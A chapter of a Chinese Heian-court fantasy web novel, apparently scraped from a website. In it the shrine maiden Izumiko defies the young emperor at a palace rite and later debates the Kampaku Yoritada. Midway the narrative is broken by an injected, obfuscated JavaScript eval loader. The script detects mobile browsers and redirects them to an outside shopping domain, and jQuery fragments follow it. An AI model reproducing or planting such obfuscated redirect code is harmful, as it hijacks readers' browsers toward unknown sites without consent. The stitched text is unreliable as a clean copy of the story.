呜依——
年末的新尝祭前夜,宫内响起了笙乐,先导的镇魂祭起。御驾缓缓移至神祇官衙的祭殿,以担任神祇伯的老亲王为首、神祇大副大中臣能宣以及伊势大巫女大中臣泉子次之,神祇官系跪迎今上。
厚重的白衣拽过石阶,拖在浅木色的桧木地板上,今上走到主位,面向祭桌,下跪正坐。
众人依次就位。大中臣能宣在今上之侧诵读祭文,奇特古老的音调自老人的口中绵绵不绝地吟唱,神祇官们肃穆垂首,檀烟溢满内殿。
却是没一会儿,今上就坐不住了。犹自年少的今上,身子东扭西转,漂亮的大眼总往泉子处瞟。
「大巫女。」他自以为轻声地叫道。
包括泉子在内,神祇官们皆皱起了眉。大中臣能宣的吟唱微偏一瞬,复又强拉回来,坚持诵读,仪式勉强续行。
「大巫女。」今上见泉子没回应,又叫了一声,身子还靠过来,离开了主位,「朕听说你跟朕的父亲仍在来往?」
泉子低头敛目,未有回话,以白绸带束在脑后的长黑发在灯火中如缎般微亮,巫女的侧脸莹白如玉。
「你要不要跟朕也试一下?朕的宫中……」说着话间,今上忽然一窒。
只见巫女抬起头望来,半透的灰眸异常漠然,倒映着今上淡薄近无的紫气。今上并未看见甚么,只觉心头一跳,不由自主地爬回主位之上。泉子亦就收回了目光。
一直在注视着今上的整个神祇官系,也转回视线。
祭文读毕,泉子领着巫女们往外走去,却在祭台之前停下。她偏过头,冷眼望向大中臣家惟一的一位巫女,否决与其同台。
上回泉子在宫内几乎被迫进后廷一事,必有此女插手。
「我……!」对方犹想抗议。
能宣沉气一喝:「安静!」
大中臣巫女被迫退开,留在台下。
「道长应该已经警告过你们,却还敢让她出现在我面前。是优柔寡断,抑或妄想继续以血缘来占我的便宜?」泉子以平静得近乎冷凝的声线问。
却是不等能宣回答,她便继续迈步,与他擦身而过。纤巧的白袜套自红裳下拨出,踏上台板,四周的火把燃烧出噼啪之声,系上五彩带的神乐铃一摇,大巫女的白红袍服飞扬,腰间的金索宛如天际流光。
呜依——
笙乐再起。
铃铃!伴祭的巫女们手腕甩动,神乐铃上的十五个铃铛齐响,暗蓝的夜空随之而风云变幻,以神祇官衙为中心的气息渐次净化,京人能明显觉察到一阵神清气爽。
另一边的太政官衙.阴阳寮,观星台上值守的阴阳师们也是松一口气。皇气本就不足,方才祭礼的力量更一度中断,若是祭祀最终失败,来年的百鬼夜行必得大规模失序。
明明去岁的大祭才净化了整个国度,可现如今,京的怨气又累积起来了。
阴阳师们俩俩相视,又再一同望向站在最前端仰望星空的安倍晴明。
寒风之中,晴明抬手拢起绿色官袍的宽袖,脚下踏出方步,踩在了鬼门的方位上,将常人无法看见的缭绕黑气强行弹压。
吉昌和吉平先后上前,手下结印,带领阴阳寮为父亲护法。
是夜,镇魂祭勉强告成。
神祇官系跪送今上,今上却对自己的行止毫无所觉,转眼又嬉皮笑脸地缠上了泉子。泉子垂下眼帘,默言不语,神祇官们斜目而视。老亲王正要上前解围,却被随侍皇驾的今上舅父、从二位权中纳言藤原义怀拦住。老亲王的胸口剧烈地起伏数下,与义怀怒目对峙。
「皇宫内祭,非皇脉者擅进,礼所不容。」老亲王挡在神祇官系之前,半拦今上与藤原义怀。
「能予天子舒心便是万民之所愿,」义怀侧身抵住他,眼神瞥向大巫女不似凡人的脸孔,「四位大副的孙女能进侍后宫,本就是泼天的荣华,想来就是右大臣大人和阴阳寮也当是认同的,您说是与不是?」
亲王猛地退开,用力甩拨被义怀碰上的衣袍,却无言而对。
不愿侍奉天子,是谁也无法说出口的大不敬。
就在亲王和大中臣能宣交换眼色之际,泉子拢袖抬手。她并未动用天道的力量,只以寸劲一掌打向廊柱,咔啦一声,粗壮的朱红圆柱应声裂开,虽未倒塌,屋檐已撒下粉尘。
「……」今上被吓得往后跌去,在众侍从的扶持下好险没摔倒在地。
白色的衣袖拂过,泉子收回手,自地上站起。
「祭如在,祭神如神在,敬在其中。」她说,「陛下如若不想祭了,那就不要来祭。」
「放肆!」藤原义怀回过神来,立马怒斥。
泉子并未理会,只转过身,径直而去,红裳与金索渐渐隐没于宫道尽头的阴影中。
「神祇大副!」义怀转向仍跪倒在地的大中臣能宣。
所有人都看向此位大中臣家的族长。
是向后宫献上百年难遇的大巫女,以示誓死守护皇统,抑或向东宫外祖、右大臣藤原兼家低头,放弃今上,以保一族的荣华?
「……」沉默半晌,高大的老人向天子三叩首,然后在后辈的扶持下踉跄而起,弯着背,沿宫道倒行退去。
悉率的衣袍声遂成巨响,大中臣家的神官全皆随族长退下,其余的神祇官也夹杂其中离场。就连杂役童子童女们,亦都早早就追随大巫女而去。
眨眼间,廊道上只剩下老亲王与今上一行。
今上瞪大了眼,靠在气急败坏的藤原义怀身上。
老亲王静默一阵,然后向今上低头躬身,行礼如仪,退了下去,恍惚没听见急切的挽留声。
藤原义怀上前强拉着亲王的手臂。神官抗议,想都知道接下来朝上会出大事了!
神祇官衙,放弃了今上。
「竖子不可与也!」亲王压着声音在义怀耳边低喝,随即甩开他的手,头也不回地离去。
神祇官衙前,仅余火把噼啦作响。
次日,神祇官系称病不朝,新尝祭被迫取消。再接连七日,京的天空乌云密布,阴雨连绵。
淅沥淅沥。
安倍宅邸的池塘边上,泉子倚石而坐,雨丝自她身周的纤毫之处滑落,未有沾湿她半分,白衣净如新。她的少女脸容宛如竹石般起伏自然,灰眸里的神色静如雨下青山,身形轮廓渐被加深的云影模糊。
廊道之上,安倍晴明遥望学生飘渺单薄的背影。
而在东三条邸,道长也正站在厢房外的木廊上。他抱着手炉,看雨打屋檐,藤原家公子的端正五官隐没于廊道阴影之中。
近侍硬着头皮上前,请示是否要落下挡板隔去风雨。
「泉子。」道长轻声说。
「少爷?」仆从没听清。
「嗯,」他转身走回房间,低头避过半卷的竹帘,「去落档板吧。」
「是、是!」
未几,阴阳寮便递上奏章,句句未指今上,却句句都在称有人妨碍祭祀,不敬天地,为国运所计,必得肃清。在右大臣的操弄下,朝议剑指今上。慌乱之中,今上舅父藤原义怀欲将过错推到泉子身上,斥她作为大巫女却未有守身,与冷泉上皇有染,这才惹怒了天地。
为此,侍从官领了公卿议事的阵定会议之令,急至安倍宅邸,要求退居在家的泉子辩言。
彼时,泉子在正堂里读书。闻言,她冷笑一声。
「若认为臣有罪不洁,臣自请不再主祭,如何?」她只回了这么的一句。
公卿们便未再追究。
他们是哪来第二个四神级别的神降大巫女?亦没必要招惹早已隐居的冷泉上皇。且说,是次错失祭祀的原因本就分明,阵定公卿所虑的,不过是藤原义怀的胡搞蛮缠,以及今上到底仍是今上,明面上冒犯不得。
阵定尚未议出结果,冷泉上皇的喻令却先到了。
没插手国事,只言家事,上皇喻令肃清内宫,将没资格升殿参内者,逐出。他是以亲父之尊,驱逐今上后宫里那堆荤素不忌的男女。
自此,今上失德传成天大的笑柄。少年天子无颜见人,龟缩内宫,披头散发,将践祚之初整顿贵族庄园和钱币的旨意撕了个粉碎。
今上不出,朝事停摆,宫祭未行。右大臣兼家曾想以东宫代祭,却被以泉子为首的神祇官给否了。
纷扰之中,至寒月里的一夜,泉子应公任的请求,在安倍宅邸见了其父,从一位.太政大臣.关白.藤氏长者.藤原赖忠。
朝向池塘竹林的正堂里,赖忠落坐正位,泉子跪坐在下首。灯火在不息的寒风中晃动,泉子的眼色一动,隐身的式神便于四周帘后添置火盆,室温升至适合长者的温度。
赖忠似有所察,微微一笑,却示意向安倍家只有绿植的庭院,问:「大巫女对花植没兴趣吗?」
「嗯?」泉子想了想,「我并无喜恶,反正也分不太清楚。只是我以前对身周的环境过于敏感,繁杂的气味色彩会影响我休息,老师便将庭院清理了。」
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809300|210775||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
「一路走来,辛苦大巫女了。」
泉子看着他。
赖忠笑笑,掩嘴轻咳数声,才续道:「犬子常提起你,盛赞大巫女习武修道、克己以严,堪称为仁。」
泉子低头致谢。
「大巫女。」
「卑职在。」
「还请莫忘奈良道镜僧干政之祸。」
以神权干政,此间早有恶例。
「卑职并无此意。」
「我知道。」赖忠轻扯嘴角,「你若想遂了右大臣的意,也不必等到现在。可正因如此,我才想问,大巫女难道不知,你此刻正把今上迫得无路可退吗?」
「卑职虽是出言,但迫他的,真的是卑职吗?」泉子反问,「不敬宫祭的人,是他;素行不端以致此刻被舆情逼入穷巷的人,也是他。自恃位高而放肆任性,政令百出却不察民情,朝事不顺便迁怒神官,今上的苦果,何以诿过于卑职?」
今上缠着泉子不放,固然有部分是由于大巫女的美貌,也有部分是出于今上舅父的盘算,但今上本人而言,更多的,恐怕是不满东宫外祖右大臣逼迫过甚,才迁怒属于右大臣阵营的泉子,也怨上了摇摆不定的神祇官衙。
「将今上迫得发狂者,正是右大臣。」赖忠说。
「不也有关白大人的份儿吗?」泉子回道。
当初阻挠今上推行改革的,是包括关白赖忠在内的整个朝堂。
赖忠苦笑,「你信与不信,我从未想要他退位。大巫女,你难道认为右大臣这样的人主政会比现在更好吗?只怕今上方退、东宫一上,整个朝堂都会变成他藤原兼家的一言堂。」
「言下之意,是现在的朝政有很好吗?」泉子的眸色平静如初,却冷锐如刀,「是为了今上的颜面而漠视外戚的胡作非为好,还是公卿们为压制今上而顾不上民生好?今上于祭礼再无益处是事实,卑职从未以神事干政,公卿们要如何处置朝政,还请自行决断。」
藤原赖忠此行是来请大巫女另作奏言,以解今上燃眉之急,但泉子拒绝了。
「再这样下去,公卿们会将今上迫死的,」她说,「连冷泉上皇陛下都能看到的事,难道关白大人会看不到吗?」
今上母家不力,无以对抗朝臣,再夹在党争之间只会粉身碎骨,趁机自污退位方为生路。冷泉上皇的斥责喻令是以退为进,救他儿子的命。
至此,赖忠便不再劝说。
「泉子,」赖忠走出,一直在门外听候的公任走进,向泉子拱手,低头一礼,「谢谢。」
作为右大臣一系,她能答应与关白一见已是不易。
泉子扶起他,「我也没甚么能帮得上你的。」
公任看了看她,忽然将手按上泉子的头顶,暖意自他的手心传来,「你不要插手朝政,听道长的便可。」
泉子一愣。
「你莫要心软。」公任仗着身高,自上而下地斜看着泉子。
泉子看着他,说:「纵有天道的机缘与右大臣的推动,拒绝出席大祭的,也是我本人。」
这回,她没要赖天道的打算。
公任一顿,随即高高地挑起一边的剑眉,「即便尔为事因,没脸再保这样的今上也是家父的决断。」
他也从未有想要赖泉子。
不等泉子再说,公任手下便猛地弄乱泉子的头发,「给我回去早些歇息吧!」
转过身,公任大步往外走。身量颀长的他微微躬身,搀扶着父亲,四条邸的侍从们依序拱卫关白父子离开。
泉子伫立门边。
待东宫即位,关白必被右大臣迫退。
安倍晴明从屏帘后走出,站到了泉子的身旁。
泉子是右大臣所举荐的,私下会谈有晴明陪同,方可向右大臣交待。这点,关白和公任也是心知肚明。
「老师,」泉子望向又淅淅沥沥地下起雨的池塘夜景,「您是在等这一天吗?」
年前没立即应下右大臣逼迫今上的要求,隐忍不发,至京的怨气重新积累、泉子再难忍耐之时,一撃即中。
率先奏请今上退位的,不是告病不语的神祇官衙,而是阴阳寮。
晴明不答,反问:「泉子是不知道会有这一天吗?」
天道的轨迹,早在神降时已有所示。今上的紫气日益淡薄,即便再举行祭祀亦已经没作用了,泉子才会弃了他。
今上气数已尽。
泉子静默,与老师共同仰首,望向天上隐没于云后的晦暗月色。